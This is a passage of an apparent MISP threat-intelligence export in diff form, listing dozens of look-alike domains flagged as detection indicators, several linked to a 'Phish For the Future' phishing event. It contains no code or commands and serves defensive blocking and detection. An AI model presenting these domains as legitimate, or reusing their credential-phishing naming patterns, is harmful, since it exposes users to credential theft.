"uuid": "5ede974a-63d0-44ec-8fa7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "maildeliveryagent.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18853", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-34c0-47a6-9887-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "buzzoffsg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18598", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-9798-4cb1-ade2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hbh-europe-ripoff-report.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18854", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5454-4b4d-aa33-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostbasichk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18599", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8fb8-4691-9e50-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortformurl.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18855", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3fd0-4d16-94f7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostbasicholl.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18600", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b100-401e-bc99-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortformurl.xyz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18856", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-aeb0-4b09-9650-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostbasicmy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18601", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-a4f8-4564-83d2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webredirect39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18857", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-2a10-40d2-ad2d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostbasicru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18602", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ba64-44ff-aa99-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "logserver39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18858", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-0394-493e-92cc-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hostbasicsg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18603", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1770-4e23-b405-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webmasterserver39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18859", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-076c-40b4-acd9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "demoprojectsuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18604", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-124c-417d-a74e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "webnetonlineservice.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18860", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-0180-4724-9fc2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shortnerserviceonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18605", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-155c-49d2-b611-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "redirectonline.xyz", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18861", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ae7c-4519-9607-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "hklinbas.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18606", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-c3e8-4f50-863c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "homeserver87.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18862", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4aac-4dc1-874c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "luxlinbas.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18607", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-2198-4e07-b618-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "netcomserviceonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18863", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-1518-4800-9a25-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mylinbas.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18608", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-525c-4396-ba4d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "servermappingserviceonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18864", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4578-4f21-b8e0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ruslinbas.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18609", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-9900-4bde-bd24-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "onlinenetworkinghelp.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18865", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-90cc-4198-b987-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "sglinbas.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18610", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b18c-4072-87f0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "loginauths-service.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18866", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5ebc-4cef-b91d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverfortechies.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18611", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-7680-41d3-bc19-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "softnetworksolutions.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18867", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-748c-44c9-aef9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicservicehk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18612", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-c1d4-4fb9-9ac9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "ultronnetworksolution.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18868", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-82f0-4cf1-aa52-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicservicelux.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18613", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-b778-4722-af3a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "softredirect.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18869", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-61ac-49a6-8ce9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicservicemy.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18614", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-28b0-4f26-b8ed-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "extranetserviceonline.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18870", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-87e4-4558-a61a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicservicerus.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18615", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1eb8-428d-b36b-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "short-ner.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18871", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ffc0-44b9-8d8e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "basicservicesg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18616", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-2038-46e4-9331-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserveruk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18872", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-cf40-41d9-90fb-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhelphk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18617", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-e8f0-402b-8d49-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mywebredirect.info", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18873", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-85c0-4aa0-9d28-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhelpru.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18618", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0118-48e1-8d89-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "srtnr.co", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18874", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-f8ac-4b06-b3e2-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "serverforhelpsg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18619", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-74cc-423f-a7af-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "cyberanalyticals.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18875", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-af2c-4075-b385-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainforhostuk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18620", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-c230-41f6-9a49-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mail-logger.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18876", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-6098-4415-bf1e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "transferdomainhk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18621", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-dabc-4879-9bd0-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailer-domain.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18877", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-7154-4e65-8649-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "transferdomainlu.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18622", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4744-4707-8722-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "servermailing34.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18878", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-fc78-4632-bc67-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "transferdomainmy.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "transferdomainmy.com" + } + } + ] + }, + { + "id": "18623", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-3f64-4f6e-849d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "nodeserver50.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18879", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-abfc-4f30-a75e-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shoponlinefreesg.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18624", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-f87c-402a-9b1a-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rackserver39.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18880", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-56c4-4a2a-8774-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shoponlinefreeuk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "shoponlinefreeuk.com" + } + } + ] + }, + { + "id": "18625", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-6b68-4e98-ac7d-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailerdomain56.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18881", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5cf4-43bc-9d02-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shrinkandshareurl.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "shrinkandshareurl.com" + } + } + ] + }, + { + "id": "18626", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-c258-4537-9381-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "loginserviceunified.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18882", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4c7c-4ff7-84df-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "strngbltru.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "strngbltru.com" + } + } + ] + }, + { + "id": "18627", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1f64-4635-a8e9-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "comservicelogin.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18883", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-863c-4ea3-bc83-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "optionalblogginges.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "optionalblogginges.com" + } + } + ] + }, + { + "id": "18628", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-ec28-413e-ac2c-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "4mblk.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18884", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-dc1c-4a27-9d22-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "optionalbloggingeu.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "optionalbloggingeu.com" + } + } + ] + }, + { + "id": "18629", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0644-4281-87ba-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-en-us.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18885", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5f4c-49d8-b403-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "optionalblogginguk.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "optionalblogginguk.com" + } + } + ] + }, + { + "id": "18630", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-5f68-40d7-83ee-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-en-gb.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18886", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-40c4-4a93-96e4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "shrinkthisurl.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "shrinkthisurl.com" + } + } + ] + }, + { + "id": "18631", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-1fac-46a2-9be7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-lang-eng.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18887", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-4690-4211-b94f-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "updatenameserver45.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "updatenameserver45.com" + } + } + ] + }, + { + "id": "18632", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0ac4-408b-b5e4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-loginservicesverified.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18888", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-b444-4749-83d7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "rulinuxbasic.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "rulinuxbasic.com" + } + } + ] + }, + { + "id": "18633", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-563c-4c15-ba60-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-msrvrgr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18889", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-8810-46a1-b086-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "russialinuxbasic.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "russialinuxbasic.com" + } + } + ] + }, + { + "id": "18634", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-4eb0-4f7b-acd7-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-servicelogin.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18890", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-5fa0-4bc1-82c4-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainsforfreehosting.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "domainsforfreehosting.com" + } + } + ] + }, + { + "id": "18635", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8ed4-4367-9b88-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-ukr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18891", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-3794-4593-8994-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainsforsupport.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "domainsforsupport.com" + } + } + ] + }, + { + "id": "18636", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-8ec4-4b0a-9792-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "corn-fr-fr.com", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18892", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-ddec-496d-90fa-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646027", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "domainsfortechhelp.com", + "SharingGroup": [], + "ShadowAttribute": [], + "RelatedAttribute": [ + { + "Attribute": { + "id": "111", + "org_id": "2", + "info": "Phish For the Future", + "value": "domainsfortechhelp.com" + } + } + ] + }, + { + "id": "18637", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974a-0e30-4512-be41-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": "1591646026", + "comment": "", + "sharing_group_id": "0", + "deleted": false, + "value": "mailserver89.org", + "SharingGroup": [], + "ShadowAttribute": [] + }, + { + "id": "18893", + "type": "domain", + "category": "Network activity", + "to_ids": true, + "uuid": "5ede974b-e2cc-4736-9799-7a498064ab0b", + "event_id": "147", + "distribution": "5", + "timestamp": 